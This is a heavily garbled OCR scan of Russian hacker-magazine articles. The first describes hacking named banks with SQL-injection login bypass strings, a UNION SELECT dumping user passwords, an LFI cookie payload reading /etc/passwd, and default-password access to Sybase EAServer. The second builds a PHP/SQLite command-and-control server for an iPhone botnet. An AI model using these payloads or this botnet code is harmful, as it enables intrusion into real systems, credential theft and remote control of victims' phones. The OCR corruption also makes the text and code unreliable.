Username: admin' or 1=1~~ Password: adJnin' or 1=1 5101Hro I We are in I nepe,o, rf1a3aMIil 38aeTHoe: «Data Access Systems. Inc User: Super
COOTseTCTBeHHo.login :Alexander. kharadze0
Administralop>.
statestreet.com. a napOJlb xkogma 5blJlO 6bl YAV,BIo1TeJlbHO. eClll1
Mbl
KaKIilM-HII16YAb
APyrVlM o6pa30M BToprnl4Cb 111 B3TOT 6aHK.
~EJ1b: ABCDELABANCA. COM (~CnAH~f1) MOA<eT 6blTb. 3AeCb Bce 6YAenaK A<e npoCTO?
tbcbank.com.ge/ir/main.php?id=20+A
admin'- or 0=0 - "orO=O-
or 0... 0 - or 0=0 11 " or 0=0 II or 0=0 II . or 'x'='x , or "x"="x .) or ('x'='x • or 1=1- " or 1=1- or 1=1- , or a=a- - or -aw="a ') or ('a'='a W)
hi" or 1=1- hi'
ND+l=2+7NJON~SELECT+0.1,2,3
http;llw"~.abcdelabanca
tbcbank, com. gel ir Imain. php? id"'20 1-1\ ND+1=2+UNION+SELECT+O.concut_ws(t_ user,Ox20,t-passl,2,3+from+t_users
pages/frm_login.php
com/adminl
or (Ma"="a
hi" or Wa"="a
or 1=1-
hi' or 'a'='a hi') or (. a ' = 'a hi") or ("a"="a
ABTopVl3Io1pyeMC51 C,AaHHbIMVl:
llEJ1b: PRIVATBANK.UA
Cpa3y nOJlyyaeM ,l:\aHHble Ha aAMIo1Ha ladmin:budianduk>11013 t_users II, 6e.>ll:lilM 8 aA
user: x· AND email IS NULL; pass x' AND email IS NULL:
IYKPA~HA)
npltt 3axOAe Ha httos:l/b[og privatbank lJal
MIo1H Ky «tbcuank.c:om.ge/ir/Cldmin/index,php».
!.!QLr.equestlchoice of goods_php nOJlY4aeM
OCTanbHble nOJlb30BaTeJllo1 Ta6JlIo1ll,bl t_users:
oWlil6KY:
::-::- B::/-.Ot-.·1
~i.r;:: ~"I::~·=~__
.m._•• __• •
~aDfIDof"'''" .e»l~"l~_." Q T~_~_ ilf<:<o<n:Ile..tfI<.. ~
_
00""" ......,...... _--:J .......
Point of Banking - DAS LOQlnNem •
......... r"'.,.tv
..,.,;>
,
•
(.:_~ ~~~ •.
__ ._
J Q"",....- DeOla<'~.I~~.IJ At.. ~~.., lIod>_
'
__.
'~itlI
Q ..... oolol<."# .....
D
04·11-200904:36:57
DatefTime
.......
...
·_.tvL L11--'..... "'"
,.""'""~
~.;~
r-;:;;:;;;-;;;;;-;r
IYC<Jfl """,''''" ho' >"-< ,_,,,,,'
__ •. "",l" ,
odO""." ,,1<
""""""'"
-
!EiIo1HrO! B CIo1CTEME Mbl CynEP-AAMIo1HIo1CTPATOPbl
MySQL moc:Y 00 ~
. , ."..". . . J<'''-
SQL ~ 'heck 1he """"""" 1bu ComfJ><'QClllo ,,,.. MySQL , ....... ..,..jon r.. the riVlI .yotu 10 o.e ne... '. --'
ERROR EN SQL SEUCl" &o",IbL_wtere d>l.lICIIlIm1.lXt_v.ltl d'i AND .moiIlS NULL; ••' ond1l>l_"",.....,ll<Iy.'''.o'd''''x' AND emaillS NULL: --'
I-iEKOTOPblE CnOCOEibl PEAlllo13AlIIo1101 «AUTHORIZATION BypAss» npIo1BOA5IT K PACKPblTlo11O TAEilllo1l1 ~)o':~,:_'_.:'~
I'·:l;:rhi)>:., "\,;,v~i,,~--..,t'" Ot.-.o.nope_.
,""I~.
Qo.H:"'T\>
Inc,..",4J'O'" Ipo
~
lete
T.... co~
o
fb;e"''''0<6! 1lJl:l. lql""",'"'l'l"JIOl
Ie
ru; rv:l.9.0.8) Gecko/2009032609 Firefox/3.0.8J Accept (text/html ,application/xhtml+xml ,applicationl xml;q=O.9,*/~;q=O.8J
Accept-Language(ru,en-us;q=O.7,en;q=O.3]
2'J
_1
rhtt;:d://bIoIl.pri<ethot*.\>OIIbfr.<l'...tJd>:»:I_c1~~.~
11_.. . . . . ~
i~
f~,~etbri.""
. 1Use-.AQent
1MozIoIM (wnb.
~
Ilntft'td.eppkob:
IIo(COPC'l.1I'9H\IO
1_._.
-,-.......
.......
lllr_Post
Accept-Encoding[gzip,deflateJ
Accept-Charset[windows-125l,utf-8;q~O.7,*;q=O.7l
Keep-Alive(300]
Connection [keep-alive]
Cookie[language= .. I .. I .. I .. / . . 1 .. 1 . . 1 .. /etc/passwd%QOJ
Cache-Control (max-agc=O]
COOTseTCTseHHo, l-13MeHSlSl AaHHbie B KyKe, MO.>KHO npo6pY4V1SClTb AOCTyn·
_.oo.~
HOCTb 6ara LFI KAPyrl-1M Sa.>KHbIM <pav:naM, HanpV1Mep, httpd.conf/php.ini.
I.........
r-. F II= oprAHIo13YEM LFI B COOKIE
nOcJ1e 4ero OAo6pV1TenbHo OTMe4aeM 6YAyw,liIe nOllY4eHHbie 3anpoebl.
./etclPe<......nw:l
AaJ1ee Moe SHl'IMaHV1e npltlBneK1l0 H3J1V14V1e Ha cal7ne J1ItlHKa CyKa3aHV1eM KaKorO-TO HeCTdHAapTHoro nopm:
http://www.privatbank.ua:8085/info/index3.stm Omx6Kd
CXHTdKCH4eCKoro aHaJH13a
XML:
nHWHlJle naHHble nocne
3neMeHTa .nOKyMeHTa A~pec: https:llblog privdtbank.ua/lib/request/choice_
Ecm-1 06paTl-lTbCSl erporo no nop'Y, TO HaM 6YAyT AocrynHbl AJ1~ YTeHl-1Sl AO
of~goods.php
V13BeCTHble 6arrpaKM KM)J,aKlT J,D,Oai130pV1:
KYMej.jTJlI,V1M no «EASe rver 5.5 Release», Me.>K,Qy npO'-H-1M. HaC'-leT 3Toro Bee
CTpOKil 2, cUMBoJll:<table class="goods" cellspacing="O" cellpadding="5" border=-O">
«A vulnerability has been discovered in Sybase EAServer. If exploi ted,
npl-1 npV1MeHeHV1V1 <lH3f1V133TOpa HTTP-npoToKofla(l=IltIcnoflb30saflTamper Datal MO>KHoyf!~,[\eTb, .,TO cai1T CTaSvtT KyK c napaMeTpOM «Ianguage~>. npo BepS1eM B03MO>KHOCTb
LFls cookie:
jagsrv.exe process. To complete this attack, you must be authenticated to IlJJebConsole/. By default, the jagadrnin user password
If npHrOTdBJl)1BdeM 3nOHaMepeHHoe 3Ha'leHM8 cookie
language= . . 1 .. 1 .. 1 .. 1 .. 1 .. 1 .. 1 . . /elc/passwd%OO
« A<)nee nOACTaBm:leM ero c
rtOMOUU:,1O nlO6oro
this can result in user-specified code being executed under the security context of the
I1H~eKTOpa
is set to blank so getting access rraKeToB might be trivial ..ll."fler authenticating to Ih1ebConsolei
OnV1caHHaSl npoLleAypa CTamper Data. BblrJlRAV1T npV1MepHo TaK. OTKpblsa
if an attacker sets the value of
eM: «Mozilla -7 ~HCTpYMeHTbl -7 nepexa8T ,QaHHbIX -7 3anycH1Tb nepexsaT -7 OTKpblsaeM Haw ca~n-7 BMeWarbCSl1:l3arlpOC-7 Pe,[\3KTl-1pyeM Kynll-7
the JavaScript parameter in TreeAction.do to a large
OTnpaSV1Tb». HapRAYC 3TO~ npoCTO~ npOI\eAypoi1 nOHMMaeM. '-1TO creHepV1
val ue a return address Cdn be overwritten due to a stack-basec buffer overflow»
posa8w"'~CSl3anpoc
BblrIlRAV1T, KaK:
HOSllblog.privatbank.ua]
User-Agent[Mozilla/5.0 (Windows;
Aei1cT6vlTeJ1bHO, «Authorization bypass» CJlOnllHGM jagadmin V1 nyCTblM napOJ1eM npOKaTMJ1.I
l.\EHTP PACnpOAA>K:
@ CaBeJ\OBCKaR YJ\. 6aWMJ\OBCKaR, AOM
1
(495) 721.-38-54, Mo6.: 8 (903) 1.75-23-39
TeJ\.:
TEXHMKA YCnEXA
~M
,:
.)
tJ""
Hb l:J -0
C03AAEM3
OH
AJl~ IPHONE-30M6~
npoi:1,lJ,eTew,e neT n51Tb, Vl TeKyw,Vle rVlra6VlTHbie CKOpOCTVl Mbl 6y,lJ,eM CYVl TaTb 6eCKOHeYHO ManblMVl. nOMVlMO
GSM
Vl3g, COBpeMeHHbleTefleepOHbl
VlMeIOTWi-Fi a,lJ,amepbl, TaK YTO npaKTVlyeCKVl nOCT051HHO HaXO,lJ,51TC51 B OH nai:1He. BeK M06VlflbHbiX 60THeTOB y:>Ke HaCTan. B 3T0i:1 CTaTbe 51 paCCKa:>Ky o npaKTVlyeCKoi:1 peanVl3aLJ,VlVl cepBepa ,lJ,fl51 ynpaBneHVl5'l ceTblO M06Vlflb HblX 30M6Vl-TefleepOHOB, B yaCTHOCTVl,lJ,Jl51 Apple iPhone. M06~nbHA~cnEU~~~KA
•
nepe.o. HayaflOM pa60Tbl pa36epeM oco6eHHOC
GPS !ecnl1 B TenelfloHe eCTb TaKO~ KOHTpOJ1nepl.
SQUte no,[l, Windows. PiJ3yMeeTC>l, He COCT3811T
9. 3anycK nporpaMMblA>1KTO¢OH3 B CKpblTOM
TpyAa nepeH€Cn1 KOA 110A nlO6YKl P,pyrylO cpep,y.
111 Mo61-1J1bHb1X 30M6lo1- yeM OHl'1 OTJH1YafOTC~
pe>Klt1Me [s Ka4eCTBe nOAcnywVlBalOUleroyCl"
3a:-1eyy, 'ITO ~ cnelJ,>1aJlbHO OCTaBI1Jl B KO,Qe
l'1 K8KlJI€ npel-lMyw,eCTS8 .0.8101 no cpaSHeH\IIKl C
pO~CTBal.
I1HbeKlIJ111. 4To6bl HI1 y Koro He 3aKpanaCb MblCJlb
«KnaCCVl4eCK14MvP> 3apa:t<eHHblM 11 M8WIIIHa"u,1
lt1cllonb30s3Tb sce 3TI1 oco6eHHOCT>1 BMecTe6blno
IXCnOJlb30BaTb 3TOTnpltlMep AflR
BOT cnlJ1(OK QCHOBHblX ¢\.1'-l'
6bl. KOHe4HO. 3,D,OpOBO, HO MeH~ H3 T3K0l:1 nO,ll,Bl-1r He
Bpe,D,a "eMy-TQ)l(1180My.
1. 6blCTPO MeH~IOl1.\14IAC~ IP-aApec [KOTOPblf1,
Tl'lHeT. OrpaH1Il4YCbOCHOBHbIML1, 3 OCTaflbHbie nO\;1
cKopee scero, 60flbwe He nOBTOpl'1TCfll.
Ayr K3Kp,Opa6oTt::Io1. T3K>Ke He I1CK111043K), YTO MOL';i
2. HesbICOK8S1 CKOpOCTb COeAI1H€Hltl51(S cpeJ],H€M.
Clll1COK M())I(HO nOnOJ1HI1Tbew,e AeCflTKOM n0311l\l-1i1.
MeH€€
1 M6l'1T/cl.
3. B03MO>KHOCTb n0J1Y'-l€H14fl KOM8HA no ceTl.,
GSM
KAK 3TO 6YAET PA60TATb
5QL
npI14I1HeH>1~
~AEHT~CI>~KAU~~ TEnE~OHOB ~ PEr~CTPAU~OHHbIE
AAHHblE
6e3 I-1HTepHeTa IHanpltlMl?p, cpe,acTB<!MlJI SMSJ.
Mbl H3J1l11WeM cepsepHYIO 43CTb c aAMI1HKoi1 IJ,nl'l
EellVl KOMnblOTepbl B 50THeTe 06bl'-lHO l1,QeH
4. npaKTli14€CKl'1 nOJ1HOe oTcyrcTBVI€ 8HTl-18lJ1pyC
ny6.nJ..1K3l\11l'1 KOM3H,ll, H3 ee6-cepeepe. Knl1eHTbl
Tl'1q,l4lJ,Vlpym no IP-a,D,peC3M. TO TeJlelfloHbl Mbl
HblX 1'1 8HTlilwnl10HCKltlX cpeACTs.
[TO eCTb. 3apa)l(eHHble TCJle410Hbll 110cpe,o,CTBOM
6meM Onpe;'l.eflRTb no
5. Her KOHTpOfl51 rpa¢JIlKa
C3MOrOTpO>lHa 6YAYTCK34lt183Tb HaWI1 KOM3HAbi
.'(oP,y, 3aWl.1TOMy Ha 33SOAe. 3ToToTcaMbl~ KO,D,.
BIla.o.€f1blJ,€M.
IMEI- YHI1KanbHOMY
6. BblCOK8fl Sep051THOCTb XpaH€Hj.1f! B r€fle¢OH€
4epe3 onpe,ll,eneHHble Io1HTepBaJ1bl SpeMeH11101
'-ITO MO>KeT cny)KI1Tb,QOKa3aT€flbCTBOM Kpa)Kl'1 B
m-1YHbIX A8HHbiX IHoMepa Kpe~I1TOK, m1H-Ko,ubl.
l'1cnOJlH>lTb ItlX. Pe3YJlbTaTbll'1CnOflHeHVlR KJlltleHTbl
CYAe. no
C4eTa, a,c,peca 11 np.J.
on>lTb-T3Kl-1 6yp,yr nepe,ll,aS3Tb H3weMY cepaepy
4epe3 COCTeeTCTsYiOl1ll1e opraHbl. a OHl.1, B ceOKl
7. 3eOHKl1 VI oTnpaBK<l
SMS.
8. Onpe,o,eneHV1e MeCTon0J10>KeHV1~ no G5M V1nVl
~
056
'-Jepe3
HITP. 3TO X03>li1CTBO MO)KHO peam130aaTb B CTaTbe >I onlo1wy Bce ,ll,Jl>l PHP 101
Ha 4eM yrop,HO.
JMEI MO>l<HO Hal:1TI1 nponaeWltl11 TeJ1eq,OH
OlJepe,ll,b, Hal1Ayrero MeCTononQ)KeHf1e yepe3 CO T080ro onepaTopa. CMeHf1Tb
IMEI Ha KCHKpeTHOM
XAKEP 05/125/ 09
{/
»
enEIlI<1AJ1bHMl KOMAHAA - YHI<1KAJ1bHAAJ1Sl KA>KAOrOTEJ1Ec:POHA. MO>KET 3ACTABI<1Tb nEPE AATbJ1WIHbIEAAHHbIE
Tene¢>OHE CI.l\.1laeTCl:I AOBOJ'lbl-lQ
npOOJ,eMaTt1'-l
lloCf1e -.:\Toro CKd'1lABaeM OOb?oBneHHbleO\llOnI1O TeK\o1 B AV1penoplt11O ext 11 HaCna>KJl,aeMCSI, Tenepb
CI-1eHe IMEI Ha iPhone eCTb nom-olaf! VI nOAPo6H<lA
CO),IJ,aeM TaOJlV1l\bl. KYl\a 6Y,QeM 3an\llCblSaTb
lI1HCTPYKLJ,V1flla ,JlaBHoe - npOClafl):
nOCTynalOw,ylO aT JOM61'1lo1H<PopMaulo11O 101 HOBbIe
functi.on checkVkey \ Sl.mei, Svkey)
$result = false; if (strlen($imei)==15)
yKaJdH"'SI. BOTTaK 8blrflfl,QIo1TSQL-CKpl1m:
{
$cbl
CREATE TABLr: zombies (id INTEGER PRIMARY KEY, imei INTEGER,
number
=
$lmei[3];
$cb2 = Simel[7];
TeM he MeHee. c OyeHb 60J1bWO~ sepOATHOCTblO
INTEG
Scb3 = $imei [8];
lMEI6y,o,eT HaWl.1M YHV1KallbHbIM
ER,
infect_date DATETIME, last_ active_date DATETIME, alias VJl..RCHAR ~ 64) , comment. VARCHI\R \ 1024));
Scb4 = Simei
lt1,o,eHTV1¢!V,
KaTopOM 30M6V1. Aa8a~ npVlKV1H2M, KaKltle
AonOJ1\;lt11€ l \b'Mble !!'c"i'-::o': -"v - :'--C:::~'i)TC.o;:, 0;
3apaxeHI-iOroo6p2:=_: =:--~:=::V :5=i..,:-i""~\
Tene¢oHHbll:i HQMep a,.:= - -. ".:J --50--8-90.
OH npV\roA\t\TcSl p,nll c.--:~:.. 3v"3. =--~J'="'-=
I-Ib\X C€ ? l3\1\coe
Of\COCa. a-l\9. ne?€:opoc.
p.eHe,
liB :)'1'014 T'b6nl'1/(e XrdJ.HflTCf[ 3anMCH 0
3apin:er!Hbly.
TelH:-¢oHin~.
(
PRIMARY KEY, cmd VCHAR(128) , (;reated DATETIME,
,o,aT)' noc.ne,QHeLii aKTl-tBHOCTl-1 [,n,aTy OTBeTa Ha
nOCJle,QHlOfO KOMCiH,Qyl. D,llfl.,<pacoTbl 3aS€AeM
St.key,: {$cbl*lOl+$ch2*lCn+$cb3* 3+Scb4*9+Scb5*71);
if (Stkey==$vkeyj
CRBA.T"E. 'I'/l-BLE cororoancls l'l.e. INTRG"ER
H2o APyroC1 (4eT VolH1 nOAK1l1Q4eHlIIe ycnyr. CIO,o,3
301'-161-1 H2o MaCTep·cepBepe (Aary Japa>KCHlt1A)
[11] ;
$cb5 = Sirnei[13J;
>Ke >l npe,D,na,aIOAo6asII1TbAary perI'1CTpaL\f11-'! lt1
-,
6POAKACT KOMAHAA. EE BbrnOJ1HSlT BeE YCTPoiieTBA
HblM baBVlClo1TCT np0lt1380A.....Tell5llt1 MOAeJlI1]. no
www.iclarified.com/entry/index.
php?enid=657.
E:3AOM
)
accepted INTEGER);
)
return $result;
/ /Ta6·IVI"; C ly .... ~lT /J'1<; ~,HHl~IC~! KOi{,;lHn. KOTOPH€
nonyYdl')'!
Bee
"Jap,)\f(E'HHbJe
(6ponKaC1' I .
eUJ,e, OnL.\1iI0HallbHD, TeKCTosbl~ aJ1",ac annapaTa V1
CREATE TABLE spec_corrunands
nOCIle nposepKIo1 Kfl104a ,Qo6aSJl51eM raspl1
KV1J106aLilTHbIM «oMMeHTapV1~. TaKV1M o6pa30M, Mbl
(id INTEGER PRIMARY KEY, crnd
Ka 8 633y, D,1lS'! )TOro Io1cnOJlb3yeM <PYHKUIo1IO
CMO)KeM 3anV1caTb \l\H¢OpMau,~1O 0 K8>K,!J,OM 301.16101.
VARCHAR(l28) , imei INTEGER, creaLed
addToZombl€ :
npV1AYMblBaTb CMeWHble Ha3eaHlt1~
DA'T'F:'I'IME, accepted INTEGER) ;
l-1
npo4yIC <pl-1r
HIO, eCJ111 sAPyr nOHa,o.o6It1TC5', TaK::4(e nOTpe6yeTcS'!
/ 13..:t;:'Cb xraH>nc:ol KOM<'iHD,b1, oD.peCO
XpaHI1Tb caMV1 KOMaHAbl, KOTOPbl€ 6yn,yr ll0J1Y4aTb
B,)HHbl8
KOHKpeTHOHy
YlCIIOJiJ-lllT''i;!Tk}
no
function add'T'oZombie ($imei,
$number)
V1 V1CnOJ1H~Tb HSWV130M6101 - >! npe,o.ycMCiTpl-1
if (strlen{$imei)==15)
smo 06U\V1C [6pop,KacTI AIlS'! Bcex 3apa::4(eHHblX V1 CnelJ,l-1anbHble (Al-1peKTI KOMaH.ll,bl,ll,Jlfl KOHK
OTMe'"ly, '"ITO, HanpV1Mep,,o,.n\1 MySQl 15u,I1<pp
peTHoro TeJ1e4JQI~a. Bce 3Ty IiIH<P0PMalll-11O HaAD
IMEI He s.ne3yT B INTEGER. TaK '"lTO Sal nplllA€TCfl
rAe-TO XpaHI-1Tb, 1-1 sepOflTHO, He Ha 6yMa::+:.t::e nOA
"'eMHoro I1CnpaSV1Tb, nOKOH'1l-18 C HacTpoLilKoii
nOJ1oBI-1u,eLil. n03TOMY JaSeA€M COOTl3eTCwYIOUJ,l1e
6S3bl. nep€~AeM HenoCpe.o,CTseHHO K HsnlilC2HlMO
Ta5fl114t::H B 6a3e AaHHblx. s:ll-tCnOJlb3YIO SQLile,
CKpltlnT3, KOTOPbl~ 6YAeTperlo1crplo1pOS3Tb S 6a3e
XOTfl6ce Hanlo1caHHoe 5e3 TpYAa MO::4(HO nepeno
HOBblX ::4(epT8.
::+:'11~b nOA flI06ylO APYrylO CY5A IHa 3TOT CyeT ew,e 6YAeTHeCK0J1bKO KOMM€HTapl-1€B
no T€KcTyl.
YCTAHABJH1BAEM CY5A,
C03AAEM TA5JU111bl
nOClle 3apa)l(eHlo1l'1 TeJ1e<POH OmpaSJlflel http-3a
DATETH1E( 'now'), NULL, " , " ) " ) ;
U,1111.
zomblesj,".$imei,", ".Snumber. return true;
KOA Hy>KeH. '"lT06bl y6eAV1TbCl'I, '1TO perlllCT~
npeACTaBfH1eT c060(1 BcerO-HaBcero OAYlH <paiill.
pau,1011O npOXOAIo1T VlMeHHO HaWTpOl'lH, 3 He,Qfl.£\S'!S
V1llTerpslJ,lt1fl C5'JbIKaMV1 nporpdMMlilpOBdfJl'1S'!
<pypa>KK€. Kpyrble neplJ,bl nV1wyTTfl::+:.eJlble MaTeM3
c.neAyeT Ao6aslt1Tb S php.ini CJ1e;:lylOUJ,l-1e CTp04KI-1:
catch ( Exception $excepti on die{$exception->getMessage{));
TI1'"leCKl-1e ¢YHKLtVlI1 AmI csepTKV1 penKTpau,l-10HHblX
return false,
,llaHHl>IX S sepV1¢JIo1KalJ,V10HHblYi KO.£\. aAJI>! HaWI-1X )
TeCTOSblX Lte.neC1 XBaTlt1TVI 4ero-HV16YAbnonpome. )
HanpV1Mep, B03bMeM Bbl6opOYHble LtYl¢Pbl1013 IMEI. (PHP _SQl.ITE:l
YMHO::+:.V1M Ha KOHCTaHTbllo1 CflO)l(l1M pe3yflbTaTBMec
extension=php-pdo.dl1
extension=php-pdo_sqlite.dll
extension=php_sqlit€ . dll
T€. Bl>I~AeT "'e OyeHbKpaCltl80, HO secbMa H2rJTSI,llHO.
XAKEP 05 /125/ 0'
{strlen($number)~~O)
$number="NULL" ;
"insert into zombies values { (select max(id) of" 1 from
SOUle 3aKJllOyaeTC>1 8 TOM, '1TO caMa 6a3a
CY6A
"master-server.db") ;
if
@$dbHandlc->quer.yE~ec(
npocc GET-napaMeTpOM IMEIIII KO,o,OM perltlCTpa
Windows. B MoeM CIly,-,ae A,l\1 ycraHOBKIo1
try { SdbHandle = ne", SQLiteDatabase{
«nOMOry
CPEn1CTPAlll1EII1»,
l1n113Anl1CblBAEM30M511
BC51 npeJleCTb [11 oAHospeMeHHo, HeAOCTaTOKI
TO>Ke OyeHb npOCTa\1. q 6YAY nl1ca"'b no,ll PHP iii
(
)
TaKI1M 06paJOM, nl1WeM nepSYIO<pYHKl\I1IOAJl51
06e 3TV1 q,YHKlJ,1t11t1 VI npOCTyIO norlilKY npOeepKI1
nposepKIo1 perl-1CTpal\V10HHOro Kfl104a
co6lo1paeM BMeCTe El <paLilll reg.php.AJ1Sl KOppeKT-
~
057
if I
~M
» b E::: ..... OM
I:
.,
,
...-'-q
p~~~
cnHCOK3APA>KEHHbIX MAWHH. rJlABHOE OKHO I1HTEP<IlEHCA
THnH'lHbIE nPEACTABHTEJ11130M611. nOBEPb, IPHONEYHHXB KAPMAHAX
HO~ pa60Tbi rpORH npl1 peflllCTpal.\11111 p,OJlA<eH nocnaTb HaM hllp-3anpoc nplllMepHOCTaKOlM
ij
URL:
die($exception->getMeSSage()); )
http://master-server.com(reg.php?imei=123456789012345 &vkey=1589.
)
COOTBeTCTBeHHO, 4To6bl3a6paTb KOMaH.Qy, TPOSlH TS1HeT CTpaHlt14Ky BliIAa:
PA3AAEM KOMAHAbl OCTanOCb HanlllcaTb KOMaH,ll,ylO 4aCTb. nOrl1Ka 3,o,eCb npocTast: ne3eM B
http://master-server.com/take.php?
6a3y, rall.l,lIIM caMylO cse>t<ylO KOlvlaH.QY Ie 60JlbWl-1M
imei=123456789012345.
10111 neyaTaeM 6 HTIP
response. npV1 :nOM ew,e HaAG 05HOBI1Tb ra6J1l'14Ky lombies, ycraHoBItlB TaM .o.ary nocnefJ,HeCi .o,aTe. (J)yHKlI,l-1l1l
aKTI'lBHOcn,
30M61-1. 3a6raswero KOMa~I.o.y, patlHyfD TeKyw,ei1
6y,ll,YT SblrMl,lJ,eTb Tat<:
4T06blltlMClTb S03MO)l(HOCTb 06LLj<;lTbGl C KOHKpeTHblM Tefle¢OHOM, Hanlt1 weM ¢YHKlJ,VliO .0.11\1 BblSOAa KOMaH.Qbl Vl3 Ta611L1Ubl special_commands no KOHKpeTHoMy
IMEI:
function showComrnand () function showSpecCommand($imei) try try
{
$dbHandle = new SQLiteDatabase (~< "master-SE>rver . db" ) ; $dbHandle =
$sqlGetView
=:
·SELECT
*
(select max(id) from commands)"; $result = $dbllandle->QUery($sqlGetView); $pageview
=.
$sqlGetView = "SELECT'" FROt<l spec_commands where id in (select max(id) fromspec_corrmands ....,he~e imei=".$imei.")c;
$resul t '" SdbHandle->query (SsqlGetView) ;
$result->fetch();
$pageview'" Sresult->fetch();
echo $pageView(ll;
echo
Cd tch (
E:xc~Ption
new SQLit.€ D atabase ("master-server .db") ;
FROM conunands where id in
$pagevie"r [1] ;
$except ion)
(
catch{ Exception Scxception)
die($exception->getMessage()) ; }
die($exception->getMessage()) ;
) }
function
update~ctivitY($imei)
try
)
Hy BOT, Bce rOToao. MO)KHO Ha'-lI'lHaTb np08epl'lTb pa60Tocnaco5HOCTb .o8lt1)1(Ka, TaK KaK 6a30Bbltli $YHKl.\lt10Hal1 raTOS. npa8Aa, Mbl
$dbHandle =
ne~,;
SQLiteDatabase (<<master-server. db" ) ;
He C,Qeflal1lt1
ce6e
B03MO>KHOCTb 3anVlCbl8aTb 3TVI caMble KOMaHAbl B 6a3Y. TyT eCTb,D,sa saplt1 aHTa - J1\.-160 n0l1b30BaTbCS< KOHCOJ1bHOi1 yTlol.mnoi1 sqlile,exe, 111'160 nOTpa
$sqlGetView = "UPDATE zombies SET last_dclivE_ date=Dl\TETIME ( 'now') WHERE imei=" . $ imci;
Sresult = $dbHandle->q1.lery ($sqlGetView) ;
H1Tb ew,e 15 Mlt1Hyr lt1 AonlllcaTb Be6-I'1HTepepe~c.T bl KaK X04eWb,
a s:I noi1AY
no BTOpOMy nYTI-1, nOToMy "ITO OH OKOHOf\H1T nOTOM napy '-laCD8 Ha nl1BO ;).
AA~TE nOPym1Tb. 101m., nlo1WEM AAM101 HKY nepBblM Ae.nOM BblBeAeM cnL>1COK Bcex 30M6lol B HTML~Ta6J1l.o14Ke.
catch ( Exception Sexception )
~
058
Ami
HarJll'l.o.HOCTl1, Tel1e¢>oHbI, KoTopble npv.Hl'l11ltl nOClle perltlCTpal.\ltlH
XAKEP 05 /125/ 09
E:::AOt....1
--:;
echo '<tr bgcolor="'. ($pagevie \'!{4]?'green': 'red'}.' "><to><inpu t type="button" value=cCneu. xOMaHlIa'
onc 1 ick=" javascrl pt: openZombi e ( , . $pag ~
'</td><to>' .SpageView[lj. '<I
• wNw.salileorg
td><td> '.$pagevie',.;[2]. '</td><td>'.
C3~TCY6,Q SO Lite.
$pageView(3]. '</td><td>' .$pageVieN·[4j. '<I
npeKpacHo nO,!J,xoAVlT
td><td><div id="change.a.l ias' . $pageVie'l! r 0 ]
AJl>l nerKlllX npoeKTo8
.'" style=»display: none; -><form action=""
•
meLhod~"POST"><input type="hidden"
KAPTA MIo1PAKOMnbIOTEPHblX60THETOB XOT~ 6bl O.o.Hy KOM3H,IJ,Y
13anOflHeHO none lasl_aclive_
date Ta6f1l.1LJ.bl zombiesl. Hble -
nO,lJ,CBenlM 3eneHblM. OCTanb
KpaCHblM. 3,1J,eCb)l(e nVlweM npocTolii )I(.3BaCKpl-1nT
links
eVielrl{ 0] . ' ) " 1 ></td><td> ' . SpageVi e'.-; [01 .
l-1 BCTpaVlsaeMblx peweHl-1C1 .
value:"' .$pageVielrl(OJ.'· name-="id"I><input MO~ 6llor.
type="text' value="' .$pagevicwlSJ.'"
• 9xod ru -
name=" al ias" 1 ><input type-=" submi t "
nVlwy no Mepe w.ell3
vulue="M3MeH~Tb"></form></div><div
showAlias' . $pageVielt1 [OJ . i ':>' .
id=
$pageVie~~
HillS!.
[
5 J . ' - <d hre f =" j avascript : change?l ias ( ,
,ll,J1~ Vl3MeHeHVll'I an\.1.3ca ltI KOMMeHTapi4S!. BblliiAeT
. $pageVieN [ 01 . ' ) ; " >113Mem1Tb< 1a:></di v>< I
npVlMepHO TaK:
td><td><di v id= "changecomment' . $pageView[O
>K.ay KOMMeHTa
pllleB,oTse4y Ha eOnpOCbl.
1 . '. style::: "di splay: none; "><iorm act ion-""
funct ion sholtlZombies { )
method=" POST" ><input type= "hidden"
value"'"' .$pagevieN[Ol.'" name="id"/><input
try
type=-text" va1ue-=", .$pageView[6J. "
name=-comment.-I><input type="submit"
$dbHandle = new SQLiteDatabase
("master-server .db") ;
l>
B MapTOBCKQM HOMepe
href=" java script : changeConunent
<<3
if
(strlen($nu~ber)==O)
~
, . $pageVi
ew[O].'); ">113MeHHT",</a></div></td></tr>, ;
:JC 6blJ1a ony6J1l-1KOB3H3 CTaTb>! no C03AaHl-11O Tp051HaAJl~ Symbian.
$number= -NULL' ;
$pageVieN = $re.sult->fetch (); $sqlGetVie"l = "SELECT
info
value="~3MeH~TL"></form></div><div id="show
commentc.$pageVieN[Oj.' ">' .$pageViet-l[6j.'
HerpYAHo )J,opa6oT3Tb
* FROM zornbj es";
ero 1-1 HaYYl-1Tb 06l.L\3Tb
echo c</table>';
Cfl C HaW>1M M3CTep
$resulc. = $dbEandle->query ($sqlGetView) ;
cepeepOM. MO.lKeT nO!1Y'-ll-1TbCfl npeKpac Hbl~ MY1lbm-nJlaT¢Op~
catch ( Exception $exception )
echo '<table border"" 1" l-!idth="1 00%'
height=QI00%">':
MeHHbliil6oTH€ r .
die($exception->getMessage()};
echo '<tr><td><ftd><td>TD</tcl><td>IMEI</ td><td>Phcne nurr..bcr</Ld><td>In:ected Date<1
)
)
td><td>Last Active Date</td><td>Alias</
td><td>Comment</td><ftr>';
nOClle 3Toro Han~ weM ew,e ,Q8a CKp>1nra )J,!1~ oT06pa)l(eH>1fl III peAaKnlpOBaHVI>! 6pO,QKaCT VI cnel.\>1anbHO~ KOMa H,Il,bl Sbl
echo '<scripL
la~gua~e='JavaScript">
function changeAlias (idl { document.getElementRyld
( "changeAlia$" +id) . style. display=" " ; docurrcnt.getElementBylo. ("showA1ias"+id) .style.display="none";
6paHHoMyycTpoLilCTBy. V1CXOAHl-1KVll-1X tj)YHKU,l-1~ ~ np>1BO,D,VlTb
, dvd
He 6y.o.y. OHIII aHaJlorlll4Hbi yw.€ pa306paHHbiM 1-1 He HY~,D,afOTC~
Pa6o'-lYIO OCpCllllO
e KOMMeHTapl-1l'lX. Ha .QIiICKI? Tbl Ha~AeWb nOllHble \1CXO,LlHVI K\1
CKpl1nTOB \16\16111-1
nplllllOXeHl<lfl.
6e3 TpYAa pa36epeWbC51
>1 ,D,OnV1WeWb HY.:>l<Hbl~
OTeKl-1 ,[IJHI pa60Tbi
epYHK~1II0Hall. eCJlIII nOTpe6yeTC51_ MoeTBopeHV1eTbl MO.:>l<eWb
c SQLite 1-13 PHPTbl
Ha5!110.o.aTb Ha CKpI-1HWOTax. Ew,e pa3 OTMeyy. YTO cneu,V1
H3~.Qewb 113 ,D,1-1CKe.
